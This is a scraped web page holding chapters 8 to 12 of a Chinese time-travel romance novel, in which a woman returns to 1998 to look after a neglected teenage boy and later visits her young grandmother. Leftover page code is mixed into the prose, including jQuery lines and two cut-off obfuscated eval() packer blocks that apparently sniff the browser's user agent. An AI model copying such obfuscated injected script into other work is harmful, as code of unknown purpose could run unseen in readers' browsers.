$(''.inform'').remove(); $(''#content'').append('' 毕业那年,程宇华去世时,留下了一大笔抚恤金,以及一套城里没有装修的房子,怕村里人说闲话,王丽那女人还是装了一段日子,给程淮交学费,亲自送他去县城里读高中,只不过,等到抚恤金一到手,城里的房子过完户开始装修时,她就露出了真面目。 比如,开始对程淮颐指气使,动辄打骂,等到周末放假回家,让他上山去砍柴,要他承担家里所有的脏活累活。程淮忍着,不是怕她,只是目前自己实在无处可去,周末放假,学校规定学生不能留宿,在县城里住宿一晚实在是太贵了,只能回家。 程淮知道王丽打的什么主意,马上城里的新房子就要装修好了,她们就可以搬到城里去了,到时候就可以把他扔在这里不管了。没关系,本来自己也不愿意跟着她们离开,王丽确实也没有义务抚养自己,更何况程淮自己有时候会去打零工赚钱。 只不过,王丽近来愈发得寸进尺,要他砍满院子里的柴,和挑完水缸里的水,才给他吃的。 他不是分文没有,只不过,那是他辛辛苦苦从零工里攒下的钱,全都揣在一个破旧的书包夹层里,外夹层放平时在学校的生活费和路费,内夹层放下学期的学费,因为学费很重要,所以自己里三层外三层缝了好几遍,只不过,千算万算,他没有想到王丽会偷拿自己外夹层的钱,那是寒假时,自己去帮人卸货赚来的生活费,可刚才自己回去看,一分钱都没有了,虽然内夹层的钱还在,但那是下学期的学费和路费还有生活费,不能动,绝不能动。 可他现在实在是饿得心头发慌,只能上山来碰碰运气。山里安静得可怕,只有鸟雀偶尔从枝头扑棱飞起。 程淮在灌木丛里翻找,盼望着能碰到一些果子。可他找到的只是一些青涩的野菜。他觉得自己肚子里有火在烧,没办法,等不及做熟,只能皱着脸,先吞些野菜充饥。毕竟,如果不吃东西,肚子一直咕咕作响,会影响自己接下来寻找食物的心情。 他抓起一点野菜,抖落上面的灰尘,硬生生塞进嘴里,那味道实在是又涩又苦,还带着些许寒意。 ...... 黎朝朝爬了一个小时,才爬到了大黑山的半山坡。 三月的风吹拂过,带着泥土和新草的气息。她刚拐过一片低矮的灌木,就看见了十七岁的程淮。 不同于三十八岁的程淮,西装革履,面容精致,十七岁的程淮,衣裳破烂,袖口和膝盖处磨出大洞,浑身狼狈不堪。 他弯着身子,蹲在灌木旁,手里攥着一些野菜。 黎朝朝的脚步僵在原地。 阳光从枝叶缝隙里落下来,照在程淮身上。他脸色苍白,唇色发淡,眉骨却清晰俊挺,眼窝深陷,映出一双倔强而漠然的眼睛。高挑的身形在破布衣裳的衬托下更显单薄,好像随时会被风吹倒。 黎朝朝望着眼前活生生的程淮,实在是不可置信。 程淮听到脚步声传来,他抬起头,看着眼前陌生的女人,警惕道:“你是谁?” 9. 靠近 听到熟悉的声音,黎朝朝喉咙发紧。 她怔怔地望着程淮,看到程淮手里的东西,心口像被什么狠狠揪住了一下。 程淮见她不回答,脸一沉,又问了一遍:“你是谁?” 黎朝朝咽了口唾沫,压低声音,问道:“你......饿不饿?想不想吃饭?” 程淮猛地站起身,背脊挺得笔直,警惕地打量着眼前的陌生女人。她穿得干净利落,怎么看都不像村里人。 程淮的心口一紧,脑子里闪过近来村里传出的风声——有人贩子来过,专挑半大的孩子下手,莫非眼前的女人是人贩子?不然为什么两人素不相识,要问自己饿不饿? “别靠近我。”他的声音沙哑,带着不容置疑的冷意。那双眼睛微微眯起,戒备得像只刺猬。 黎朝朝努力挤出一个笑容,声音放得尽量柔和:“我不是坏人……你饿坏了吧?想不想吃饭?” 呃......更像坏人了!! 程淮的唇角轻轻一抖,目光却更冷。 他下意识退了半步,手死死攥着刚从地里捡来的一块石头:“我不认识你,你要干什么?”风吹过,卷起他身上松垮的衣角,那一瞬间,黎朝朝看得心都揪成一团。 她尽量让自己的声音听起来真诚:“你是不是叫程淮?我奶奶是你妈妈的二表姨,从前是看着你妈妈长大的,你妈妈去世时,我奶奶身患重病来不了,一直是她的心病,所以我奶奶临终前,嘱咐我务必回来看看你过得怎么样了。” 黎朝朝心头有些发虚,毕竟自己是瞎编的,他妈妈反正已经去世了,死无对证,应该能蒙混过关。 程淮果然表情松动了。 黎朝朝乘胜回击:“其实我也不是光为了你而来,我得了重病,在城里太压抑了,所以我想到乡下来待一阵子,养养身子。”其实,黎朝朝说的是实话,原主得了病,治不好的那种,所以需要到空气好、安静的地方疗养。 程淮半信半疑。 黎朝朝赶紧道:“我赶路太久了,早就饿了,你们村里哪里有能花钱吃饭的地方吗?可以带我过去吗?你放心,我只有一个人,你怎么看都比我高比我有力气一些,我真要有什么坏心思,我也肯定打不过你的。” 程淮抿着唇,带她下了山。 山中路不好走,湿滑泥泞,好几次黎朝朝差点险些摔倒,程淮本来走得很快,见状会慢慢停下来一阵,等她。 黎朝朝心中发苦,这么多年,程淮还是那个表面不动声色,却能体贴入微的人,她赶紧摇摇头,不能再想了,再想就又要有执念了。 两人走了好一阵,终于走到了一处村里的小饭馆门前。 小饭馆开在土路尽头,说是饭馆,其实就是一处砖瓦堆砌的农村土房子,屋檐低矮,门口挂着一块油迹斑驳的布帘,随风摇晃,上面写着花姐饭馆、花姐小卖部。 进去后,空气里混杂着油烟和炭火的味道,木桌子旧得发黑,桌角缺了一块,椅子摇摇晃晃。墙上贴着几张泛黄的年画,火候过头的红色早被油烟熏成了灰。 黎朝朝推开门时,炉子里正“哔剥”冒着火星,锅里的汤散发着蒜和葱的香味。她几乎没犹豫,从自己兜里的掏了五十元钱出来,拍在桌子上,笑着对程花说:“你好,麻烦您多做几样菜,我很久没吃饭了,饿着呢。” 程花是土生土长的程家村人,因为早些年,跟丈夫外出打工见过世面,学了炒菜的手艺,就回村种地,顺便开了这个小饭馆和小卖部,平日里,村上有些人会过来喝酒吃菜,生意不多,有时候也会有邻村人来路过点菜吃饭,但是城里人来得少。 眼前的女娃娃大概二十几岁左右,长得有些胖乎白嫩,但一双眼睛明亮有神,一看就是个有主意的人,听到点菜,连忙上前招呼她:“妹娃子,喊我花婶就可以了,我们这里店小,没得啥菜单,这样,你说你要吃啥,我直接给你做。” 黎朝朝回道:“花婶,随便多做一些,管饱,有荤有素就成。” 花婶看到程淮也在,不知道他们是一起的,只看着程淮,想着反正要做饭,多做一点,指不定那王丽又怎么虐待程淮了,于是招呼程淮进来坐:“淮子,进来,没吃饭吧,等会婶子给你做好吃的,快进来。” “不用了,婶子,我已经吃过饭了。”程淮不喜欢接受别人的施舍,毕竟没有谁应该对谁好。 花婶也就没再坚持,从屋外摘了些青菜、蒜苗、香菜就进了屋。 黎朝朝看着屋外的程淮,笑着招呼他进来:“快进来吧!” 程淮僵在门口,肩背紧绷,冷冷地撇了她一眼,转身就要走。 “哎,我大老远来找你,可没有想到你这么不待见你妈妈的娘家人,实在是让人难受啊!”黎朝朝不看他,自顾自地给自己倒了杯水喝着,又给他倒了一杯。 果然,听到程淮提到程母,他没动了。 “这里我可只认识你一个人啊,要是你们村有坏人想骗我钱,那我这一趟可真是惨。”黎朝朝继续添油加醋。 程淮走回来,坐在她面前,认真道:“谢谢你,我过得很好,你可以回去了。”说完又要起身走。 黎朝朝扯住他的衣袖,死皮赖脸地笑:“你要是现在走了,菜不是白点了吗?我这身子骨也吃不了那么多,你就当帮我分担一下,免得浪费。小子,别浪费粮食,知道不?” 程淮沉默着,眉头紧蹙,虽然这个女人不像是人贩子,可心里那份警惕仍旧死死拽着他,自己妈妈的亲戚?多少是有些不信,不然为什么这么多年,没看到有人来找过自己,但是如果她要骗自己,那图什么呢? 程淮想不明白。 “再说了,”黎朝朝硬着头皮补了一句,“花婶已经开始去做饭了,钱也付过了……你一走,我肯定要跟你走,所以咱俩要是走了,不是白白给人送冤枉钱嘛。” 程淮喉咙里滚了一下,终于没再起身往外走,只是慢吞吞地挪到另一边。 黎朝朝长舒了一口气,悄悄擦了擦掌心的汗,嘴角忍不住弯起一丝笑意。 花婶正好端着热气腾腾的一碗汤出来,见他俩愣着,笑呵呵道:“妹娃子,饿坏了,先喝口汤。” 又对程淮说:“来,我给你锅里留着的,跟花婶进去喝,这里客人坐。” 黎朝朝笑了笑:“花婶,我跟他一起来的,我是他远房亲戚,这次来程家村就是为了他。” 花婶一愣,问了几句,连连赔不是,又端了另一碗汤给程淮。 不一会,桌子上很快摆满了菜,荤素都有:红烧肉油光发亮,炖鸡汤香气四溢,炒青菜翠绿欲滴,酸辣土豆丝细细成丝,蒜苗回锅肉散发扑鼻香气,甚至还有一盘清蒸鱼,热气氤氲,把整间简陋的屋子都衬得暖意融融。 程淮坐在角落里,背依旧挺得笔直,手里端着粗瓷碗。他看着满桌的菜,喉咙滚动了一下,却始终只是用筷子夹了一点米饭,细嚼慢咽,眼神冷淡而疏离。 黎朝朝看在眼里,心口发酸。她知道他饿极了——先前在山上连没做熟的野菜都能吞下去的人,怎么可能会对这桌菜没欲望? 她没多说什么,只是笑着,若无其事地替他把两块红烧肉夹到碗边:“多吃点肉,我一个人可吃不完。” 程淮皱了皱眉,却没推开,只默默盯着碗里的那块肉。 见他不动筷子,黎朝朝又给自己夹了一口,咬下去,还故意发出“啧啧啧”的声音,轻描淡写地说:“快吃,别看了。” 程淮沉默片刻,终于抿紧的唇角松动了一些,他伸筷子夹起那块肉,小心翼翼送入口中,咀嚼的时候,他的睫毛轻颤。 黎朝朝心里涌上一股说不出的酸意,却还是装作自然,又往他碗里添了一勺鸡汤、夹了两筷子青菜。 “光吃肉会上火,来点青菜。”她笑着说。 程淮抬头望了她一眼,那眼神里 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鸡汤的温热顺着喉咙滑下,他的胃被暖意一点点填满,那种久违的饱足感让他差点失了控。 程淮暗暗攥紧了筷子,指关节泛白。 黎朝朝坐在对面,眼角余光一直落在程淮身上。 她想着:“不是,十几岁的程淮,过得这么纠结吗?” 黎朝朝想伸手替他把碗盛满,想催他快点吃,可她忍住了。她怕一旦戳穿他这份小心翼翼的伪装,他会立刻甩手走人。 于是她只是笑着,假装不经意地动筷子,把菜一一往他碗里拨:“来,这块鱼肉没有刺,你尝尝。” “这个土豆丝炒得正好,配饭很香。” 程淮的筷子顿了顿,还是夹起那块鱼肉,神情僵硬,却没推开。 黎朝朝看着他的侧脸,十七岁的程淮长得真好看,眉眼清隽,只是太瘦了。 她低下头,装作只顾着吃饭,不知道为什么,想到前世的程淮,眼角有些泛红。 吃完饭,结了账,她问程花:“花婶,我想在村里住一段日子,哪里可以租到空房子呢?” 花婶闻言,惊讶问道:“妹娃子,为何要住在这里?我们程家村来往交通不便利,要住也是住在山脚下的镇上方便些。” 黎朝朝笑了笑:“花婶,实不相瞒,一我是来探亲,二是大城市里住久了,想在村里养养病,呼吸一下新鲜空气。” 花婶毕竟是从大城市里回来的,她也觉得大城市里车水马龙,给人压力太大,不如这村里实在,也就懂了黎朝朝的想法,于是更加亲切道:“你既然租房子,那不如租我姐姐家的房子,她们家房子就在村口后面的半山坡上,我姐姐在县城定居了,不回来了。这房子空着也是空着,不如给你住吧,租金你随便给点就成,不给也成。” 程淮看着黎朝朝,缓缓开口道:“这房子附近没有人,离村里有点远,你一个人,住在那里不害怕吗?” 花婶点点头,连忙表示:“哦,对,这房子附近是一片树林,当年姐姐一家也是因为这个才搬走的,是有点不方便,你先考虑一下吧,如果要租再来跟我说,我打电话跟我姐说一下。” 黎朝朝心里头也害怕,毕竟自己从小就怕黑,一个人睡觉会害怕。 “先去找村长,看看村长有没有房子可以推荐的。”程淮在旁边开口。 花婶道:“对,对,村长平日里跟各家来往得多,知道谁家有空房子,你去问问村长再做决定。” 黎朝朝跟花婶道别后,让程淮带着她去了村长家。 程淮盯着黎朝朝,开口问道:“为什么要住下来?” 黎朝朝看着他,揶揄道:“我说是为了你,你信吗?” 程淮当然不信,但他没有接话,他不知道说什么。 黎朝朝心中暗自发笑:“十七岁的程淮,可真是有意思得很!!” 10. 喂他 到了程村长家,村长又热情招待了黎朝朝,听到来意后,带着黎朝朝走访了好几家人户,最终选定了一家。 这家的女主人是个离异的单亲妈妈,叫秦秀秀。她今年四十八岁,有个二十五岁的儿子在城里头当建筑工人,平时不回来住,家里有三个房间,可以租一间给黎朝朝。 秦秀秀是个精明的人,她一听城里来的人要找人租房子,反正自己家里正空出来房间,闲着也是闲着,正好租出去,还能赚一笔钱,城里来的肯定也要吃饭,到时候饭钱又是一笔赚的,实在是很好,所以她偷偷跟村长媳妇说了,还送了她一条丝巾,于是村长才带着黎朝朝来到了自己家看房子。 秦秀秀虽然人精明狡猾,却把房间收拾得很干净,比较符合黎朝朝的要求,于是,这事就这么定下来了。 黎朝朝问她:“请问租金多少钱?” 秦秀秀故作为难道:“我们这房子是最好的,看你是个爱干净的人,不收你太多,就三个月八十块吧!” 黎朝朝想了想,道:“三个月七十!” 秦秀秀刚想说行,站在一旁的程淮忽然开口:“三个月五十,不然就算了。” 秦秀秀气得撸起袖子:“嘿,你小子!大人说话小孩插什么嘴,一边去!” 看她态度恶劣,黎朝朝冷下脸:“他的意思,就是我的意思,不行就不租了。” 村长也出来打圆场:“哎呀,秦秀秀,这女娃子就是来租一间房,这山沟沟哪里还有人来嘛!你少收点就少收点,反正你空着也是空着。” 秦秀秀只得作罢,想着再从其他地方讨回来就是,连忙道:“行吧,既然村长说了,那我也不是个计较的人,就当咱俩交个朋友了!” 签完合同后,天色还尚早。村长离开前,对着黎朝朝道:“咱们村里没什么日用品,现在还早,你可以去山脚下的镇上买些吃的用的,喊程淮陪你去,你一个女娃子不熟悉山路。” 村长走后,黎朝朝笑了笑,假意对着程淮道:“算了,我不耽误你干活了,你先回去吧!我自己一个人去。” 程淮看着眼前的女人,明明很想要自己去,却在那里惺惺作态喊自己走,不由得皱眉:“你认识路?” “不认识,但我可以问路!” “深山野林,你去哪里问路,走吧!”程淮说完,大步往前走。 黎朝朝亦步亦趋跟着他,心中感慨万千。 三十八岁的程淮,西装革履,温和从容,仿佛是一潭被岁月打磨得风平浪静的湖水,无论你如何过分,他都不会轻易被激怒,更不会将情绪显露分毫。可十七岁的他,却像一柄初出鞘的寒刀,锋芒毕露,冷意逼人。那股凌厉生涩的孤傲,拒绝一切靠近,仿佛只要有人踏进一步,就会被那森冷的气息所伤。 黎朝朝好笑地想:对付他,只能攻心,绝不能硬来,否则肯定会适得其反。 去小镇的路蜿蜒而长,三月的山里,空气湿润,溪流潺潺,石头上覆着一层薄薄的青苔。山风吹过,带来微凉。 程淮走在前面,黎朝朝跟在后面,望着他清瘦的背影,心里百味杂陈,说起来,自己好像并不了解程淮的成长路径,他也很少提及自己年少时。 当然,黎朝朝不过只是他诸多资助的学生之一,说不定他根本不记得她叫什么名字,又何谈了解走进程淮,所有关于他的一切,全部都是在杂志上看到的。 山路很长,要走上两个小时,黎朝朝开口打探:“程淮,你现在读高几?” “高二。” “你高中是不是每周都要回家啊?那你每次都是一个人走这条路吗?” “是。”程淮回答得简短。 黎朝朝自顾自地说:“你一个人,会害怕吗?”说完,她看见程淮的肩膀微微一僵,却还是没回头。 程淮心里说不上是什么滋味,毕竟从来没有人会问自己,一个人走山路会不会害怕,其实小时候自己是害怕的,但从来没有人关心过,小时候在赵屠户家里,他只把自己当个跑腿使唤的工具,半夜要喝酒了,会喊自己穿过坟岗去买酒。 后来,程宇华将自己接回来后,也只在乎是不是能给他养老送终,在乎开口喊不喊他爸爸,从来没有在乎过程淮到底在想什么,也没有问过他这些年过得苦不苦。 再后来,程宇华出意外死了,继母王丽当家,更是让他处于水深火热之中,真正意义上的家没有了,只有他一个人活着,在这个世界上孤零零地活着,所以小时候害怕的那些东西,早就习以为常了,现在居然有人问起,自己心情说不上来是什么滋味。 黎朝朝见程淮没有回答,以为是他不想说话,刚好山路走得累人,也就闭了嘴。 两个小时后,两人终于走到了镇上。 低矮的砖瓦房里挂着鲜艳的招牌,有理发店、录像厅、修车铺,也有卖服装的小店,橱窗里摆着当年最流行的牛仔裤和运动鞋。 镇口最吸引人的,是几家用铁皮搭起来的小摊,放着卡带播放器,正吼着“四大天王”的流行歌,摊主卖的则是盗版磁带和小人书,摆在木板上,孩子们围在周围挑得眼睛发亮。 黎朝朝走到一处小摊前,空气里弥漫着烤红薯、油炸麻花的香气,还有爆米花机“嘭”的一声巨响,把黎朝朝吓得一跳,她就喜欢吃爆米花,给自己买了一袋,给程淮买了一袋。 黎朝朝先是去了供销社,供销社门口人多,塑料篮子里装着袋装方便面、汽水和各种糖果,价格牌是用红笔写在硬纸板上的,插在货堆里,黎朝朝挑了牙膏、牙刷、毛巾,又买了洗发水、肥皂,还挑了几块颜色素净的床单,被罩,最后,她在货架前一番翻找,拿了几包卫生巾,塞进篮子里。 程淮站在一旁,面色未变,耳尖却微微泛红,他知道这是什么,毕竟自己已经读高中了,生理常识还是有的。 黎朝朝越买越多,手里还拿了几包零食,见到水果摊又挑了些苹果和橘子,最后还特意去肉铺买了五斤排骨,想着回去给程淮补身子用,他太瘦了。 走到糕点铺时,她忍不住买了几块糕点,自己吃了一块后,立马又拿起一块喂到了程淮嘴里:“你尝尝,很甜。” 程淮正低着头,还没来得及抬眼,就猝不及防地被人喂了一口糕点。 那是一小块刚切好的桂花糕,软糯香甜,带着淡淡的桂花清香。 他愣了愣,牙齿下意识一合,糕点的甜意在舌尖迅速蔓延开来,像春日里忽然闯进心口的一缕暖风。 “好吃吗?”黎朝朝声音轻快,眉眼带着笑意。 他抬起头,对上她那双眼睛。那眼睛里闪着光,似乎连周围的灯火都黯然失色。 他喉咙微微滚动,想说点什么,却发现嘴里塞得满满的,只能含糊地“嗯”了一声。 看着黎朝朝笑意盈盈的目光,他有些不自在地偏开脸。 黎朝朝看他吃个糕点,吃得表情变幻莫测,于是半开玩笑半认真逗他:“你怎么吃个糕点,还要变脸?” 他怔了怔,耳尖渐渐发热,说什么都不搭理黎朝朝了,径直走在前面。 两人又在镇上从东到西逛了一圈,等到要离开时,黎朝朝才发现自己买的东西堆了一大堆,因为装不下,就索性买了两个背篓,一大一小。她不想给程淮添麻烦,所以给小背篓里装的都是轻便的东西,大背篓里装着重物,然后俯身去背大背篓。 谁料她刚伸手,程淮就冷声道:“给我。” 黎朝朝一愣,还没反应过来,背篓的背带已被他利落地夺过去。 他将沉甸甸的背篓一口气背在肩上,手里还拎着几只沉重的布袋,肩膀被勒得很深。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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前世,黎朝朝工作比较忙,其实很少做饭,所以现在手里拿着菜刀,却显得有些笨拙,炒个菜做饭没问题,难的是,她好像不太会烧火,烧火还是上辈子很小很小的时候了,所以她拿着柴禾在灶前摆弄半天,火星都没冒出来。 最后还是程淮蹲下去,熟练地塞柴、点火、捂风口,才让锅底腾起一股浓烈的柴火烟。 黎朝朝咳了两声,挥手扇着呛人的烟雾,眼里却带着一丝不好意思:“呃......下次我肯定能搞定。” 程淮嘴角轻轻一弯,没说什么,只是默默添柴,偶尔还伸手替她把锅里的菜翻炒搅匀。 厨房里,柴火烧得噼啪作响,灶台上那口黑铁锅正咕嘟咕嘟冒着热气。锅里煮着排骨汤,汤色泛着乳白,带着柴火特有的焦香,香气很快弥漫开来。锅边放着一只蒸格,里面蒸着的白米饭。 灶台另一边,黎朝朝笨拙地翻炒着西红柿鸡蛋,蛋黄微微焦了些,但伴着西红柿的酸甜味,倒也勾人食欲。 忙活一阵后,饭菜终于上了桌,黎朝朝并没急着动筷子,而是几乎迫不及待地往程淮碗里夹。 “来,多吃点。排骨夹一块,西红柿炒鸡蛋你不是一直喜欢嘛。”她一边说,一边几乎把整盘菜都推到程淮面前。 程淮有些无奈,自己喜欢吃西红柿炒鸡蛋?我怎么不知道? 还没有来得及思考,黎朝朝又舀了一勺排骨汤,盛在小碗里,推到程淮面前,眼神里带着近乎固执的认真:“好了,多喝点汤,你正是长身体的时候,营养得跟上,不然长不高。” 说完黎朝朝就笑了笑,现在才十七岁的程淮,营养虽然好像没跟上,但他长得还是很高的,一米八的大高个,比自己高出一大截。 程淮怔了怔,接过筷子,夹起一块排骨,送到嘴里。汤汁浓郁,却带着些许过火的焦味;西红柿炒蛋里,鸡蛋有点老,甚至带着一丝糊香。可他咀嚼着,心头却涌起一种说不清的温热感。 黎朝朝一直盯着他的反应,直到看见他咽下去,才明显松了口气。唇角弯起一个轻松的笑,带着久违的柔和:“这样才好……” 她暗自想着:程淮,好多年,好多年了,我没亲手给你做过饭了。 程淮默默又盛了一勺汤,低声回应:“谢谢。”不管眼前这个女人是因为什么才来到程家村的,但是自己很珍惜这一刻,毕竟他已经太久,太久,没有人如此在意了。 11. 一起 程淮刚把背上的柴火卸在院角,还未来得及喘口气,王丽快步冲了出来。 她双手叉腰,嗓音尖酸刻薄:“你还有脸回来?!家里水也没有挑,饭也没有做,你以为自己是少爷啊?来这里享福来了?跟你那个短命鬼爸一样,是个没有眼力见的。” 程淮抹了一把额角的细汗,神色冷淡,没有应声。 王丽见他沉默,更是火气上涌,伸手就抄起院边的一块青砖,朝他狠狠砸来。 砖角擦着空气,带着呼啸的力道,“砰”一声,正砸在程淮的额头,鲜血顺着眉骨淌下,染红了半边脸。 程淮身形微晃,唇线抿得死紧,一动不动地望着她。 那一瞬,王丽有些害怕,眼神不由自主地闪了一下,心底生出几分畏惧。可很快,她又咬牙压下,依旧恶狠狠骂道:“装什么硬骨头?以为板着个死人脸就能吓唬我?一个吃白饭的东西,早晚得饿死在这破屋子里!” 程淮低着头,鲜血顺着下颌一滴滴砸在地上。他并不回嘴,也不反抗,只是静静忍着。眼底的冷意深得像一口井,却死死压在心底,没有流露出来。 院子里的争吵声很快引来了屋里的两个小女孩,两人见到程淮额角流血,非但没有半点同情,反而得意洋洋地笑了,其中一个大一些的小女孩双手抱胸,冷嘲热讽:“你活该,谁让你不做饭,到处跑,活该。” 年幼的那个学着王丽的语气,指着程淮骂:“妈说得对,你就是个吃闲饭的废物,要不是因为你,我们家不至于现在还在这里,马上我们就要走了,留你一个人在这里,饿死你!”说着,她上前去踢了一脚程淮的小腿。 程淮身形一震,却没躲,只是倏地抬眸,冷冷望了他们一眼,那一眼,寒意逼人。 两个女孩心里猛地一颤,明明背脊发凉,却依旧强撑着嚣张。年长的女孩子不服气,伸手推了他一把:“小野种,再看,再看我还踢你!” 程淮被推得踉跄,额上的血顺势淌下,落在衣襟上,殷红一片。他唇线绷紧,指节微微发白,却始终没有反击。 王丽在一旁冷眼看着,心里打鼓,还是有些犯怵,但是嘴里依旧不依不饶:“看什么看,你想要饿死我吗?还不去做饭!” 程淮垂着眼睫,朝着厨房走去,他觉得没什么,反正自己已经习惯了,这点伤对自己来说无关痛痒,等她们搬走了就好了。 ...... 翌日清晨。 天色破晓,深山雾霭层层,家家户户还没有醒来。 今日是去学校的日子。 程淮知道王丽是绝对不会给自己准备吃的,所以已经提前帮人干活,得了一小袋米,还有自己去山里摘的一些野菜,随便加点盐巴就凉拌成了凉菜,还有两个馒头,勉强也能吃上一周。 他系好袋子,背上破旧的书包,轻轻合上木门。 深山的夜色还未褪尽,四下静得只能听见风吹过松枝的沙沙声。天边泛着一抹浅浅的鱼肚白,雾气缭绕,山间湿润的泥土气息格外清冷。 程淮走到村口时,骤然一怔——漆黑里,一束昏黄的手电光摇曳着,照出一个纤细的身影。 黎朝朝裹着件旧外套,手里紧紧攥着手电筒,光束落在石板路上,看到远处的身影,她立马两步跑上前,欢快地笑着:“早啊,程淮!你猜我为什么能掐指算到你的出发时间,因为我特意问了花婶,其实刚好我正好要去县城办点事,我们一起走吧。” 话说得轻松,其实黎朝朝怕错过程淮下山的时间,四点就起床了,四点半就在这里等着了,山里早晚温差大,自己在这里打了好多喷嚏,哆嗦着等了一个时辰才等来了程淮。 看见黎朝朝冻得发抖,程淮虽然不明白她为什么一定要执意跟自己下山,但是肯定是冲自己来的,本想劝她回去,但雾气氤氲间,他看见她眼底的笑意,拒绝的话,就硬生生卡在喉咙里。 山雾在两人脚边缠绕,湿漉漉的草叶上挂着晶莹露珠,偶尔有几声鸟鸣清脆响起。 黎朝朝跟在程淮旁边,两人一起下山,下山途中黎朝朝本来一路上兴奋地说个不停,忽然情绪低落了下去:“你每周都要早起,翻山越岭,你一个人,应该是吃了很多苦吧!” 程淮心口忽然一紧,似乎有种说不清的东西在悄然浮动。 他别过脸,冷声道:“路不好走,你自己小心。” 可脚步却不自觉地放慢,默默与她并肩。 黎朝朝心里发苦,年少的程淮,到底经历了什么。 山路蜿蜒,雾气未散,湿润的泥土带着清凉的气息,两人走到一处石板休息时,黎朝朝从背包里掏出个纸包递过去,纸包还散发着热气:“我带了点包子,咱俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程淮抿紧唇,手指不自觉地握了握布包。 风吹过,纸条微微颤动,他的心却像被什么东西轻轻触碰,冰冷的外壳里,悄然涌起一股温暖。 他低声自语了一句:“……为什么?” 12. 亲下 跟程淮告别后,黎朝朝坐了个摩托车,去买了一张到市里的车票。 她来县城,确实是有事情,并不只是单纯为了送程淮。 她要去看看这个年代的外婆。 上一世,妈妈外出打工后,杳无音信,是外婆接手了自己,只是外婆在自己读高中的时候,就去世了,最后那几年,外婆缠绵病榻,整个人瘦得不成样子。 如今,既然能够时光倒流,那就去看看1998年的年轻外婆吧。 黎朝朝到了市里后,再买了去西南省的火车票,然后坐了两天两夜火车才到了西南省,又从西南省转车,第三天,人才到了临河镇。 外婆家在临河镇的杜云坝大队里,队里的家家户户房子,都是沿河而建。下午四点,黎朝朝沿河走了半个小时,穿过最后一个拐弯,才到了熟悉的地方。 眼前的景象让她一怔:熟悉的院落依旧古朴,夕阳余晖洒在门前的地坝上,晒着些农作物。外婆在忙碌,她低着头,将满地的谷物装进尼龙口袋里,动作熟练而轻快。 前世的外婆,在去世前,缠绵病榻,形容枯槁,面黄肌瘦,到处都是针眼,遭了很多罪,现在的她,满头黑发、面色红润,完全不似前世的样子。 黎朝朝咽了口唾沫,轻轻走上前,努力让自己的声音听起来自然些:“婆婆,我是去湖口镇走亲戚的,能不能借你屋子喝口水?” 外婆抬头看她,眼里带着惊讶,和蔼关切道:“来,看你满头大汗,快进来歇歇脚。” “谢谢您。”黎朝朝声音里有点哽咽,却强自镇定。 外婆把手上的东西放到一边,走进屋里,端了一大杯茶水出来,又端了一盆金黄色的橘子出来:“来,吃点橘子解渴,这是我们这里自己种的,尝尝,很甜的。” 黎朝朝看到橘子,差点哭出来,上一世,外婆家里种了许多橘子,每次回外婆家,外婆总会让自己带许多橘子走,当外婆去世之后,黎朝朝很少会吃橘子,因为自己看到橘子就会想起外婆,如今橘子在眼前,外婆也在眼前,黎朝朝不经意间落下一滴泪来,趁着外婆转身的功夫,她赶忙用手悄悄擦掉眼泪,生怕被外婆看出端倪来。 其实,一路上,黎朝朝想了很多,要不就跟外婆摊牌,说自己是穿越过来的,长大的黎朝朝,但是估计外婆会把自己当做一个疯子看,主要是此时的黎朝朝才七岁,还在中海市跟妈妈生活在一起,还没有跟外婆见过面,外婆自然对自己没有什么印象和感情,所以说了徒然引发混乱,最终,黎朝朝决定还是不说,就假装过路的人,随便编点理由住几天就走。 陈兰看着眼前白白嫩嫩的小姑娘,心中没有由来一阵亲切感,看她愣在那里,以为她是不好意思吃,又剥了一个橘子放到她手心里:“小妹娃,快吃,莫客气!” 黎朝朝吃了一瓣手心的橘子,笑着道:“好甜啊!谢谢婆婆。”心里却暗暗地偷看着外婆,年轻的外婆,面容和记忆里似乎重叠却又陌生,这让她的心又被轻轻拧了一下。 陈兰蹲下身扫地灰,和蔼问道:“小妹娃,你从哪里来唷?湖口镇离这里还远着哟!” 黎朝朝吃完剩下的橘子,手心微微发烫,她低声说:“婆婆,我是从西宁省来的。” 外婆轻轻点头,眼角带笑:“那还是很远的,来寻谁?” 黎朝朝心头一紧,却只能微笑应答:“我……我来寻我外婆。” “年纪轻轻的蛮有孝心的,你外婆多大了呀?” “我外婆......外婆......她已经去世了好多年了,我是我外婆带大的,如今好不容易回来,是我有些想她了,所以想回去外婆的家里看看。”黎朝朝说着有些哽咽,眼泪不由自主地流了下来。 陈兰见状,连忙安慰道:“莫哭,莫哭,怪我怪我,瞎打听,你别太伤心了,哎!你外婆要是还在世肯定也不想你这样伤心。” 黎朝朝擦了擦眼泪水,忍住心酸道:“其实不瞒您说,我一看到您,觉得您特别亲切,很像我的外婆,她跟您一样,勤劳善良,所以我才进来找您讨水喝,您别怪我冒昧了。” 陈兰一听,立马心痛道:“哎哟,老婆子我咋会怪你,你是个有孝心的妹娃娃,很难得了。只是这天要黑了,你一个人去那里,那边有人来接你不?” 黎朝朝摇摇头。 外婆看着天色,担忧道:“这里离湖口镇要翻几座山,这山里人户间隔得远,你容易迷路,天马上要黑了,不然你在我老婆子家住一晚上,明天再走也不迟。” 黎朝朝咬了咬唇,努力让语气轻松:“婆婆,那这样会不会比较麻烦你?”她心里暗暗高兴着,有借口留下来了。 陈兰摇摇头,笑了笑:“我孩子们都成家了,在外地,只有个三儿子和三儿媳如今跟我在一块住,他俩今天出去串亲戚了,所以今天晚上老婆子一个人在家,你在的话,还能跟我做个伴呢!” 黎朝朝正愁怕家里没有房间睡觉,开心道:“那就谢谢婆婆了。” “谢啥,你就住我三女儿跟四女儿的房间好了。” 黎朝朝有些苦笑,这三女儿就是自己的妈妈。上辈子,妈妈因为外出打工,开始把自己带在身边,后面把自己放到乡下的奶奶家养着,奶奶去世后,妈妈也杳无音信了,所以跟她没有什么感情,但是如今听到外婆提起自己的妈妈,还是有些感慨。 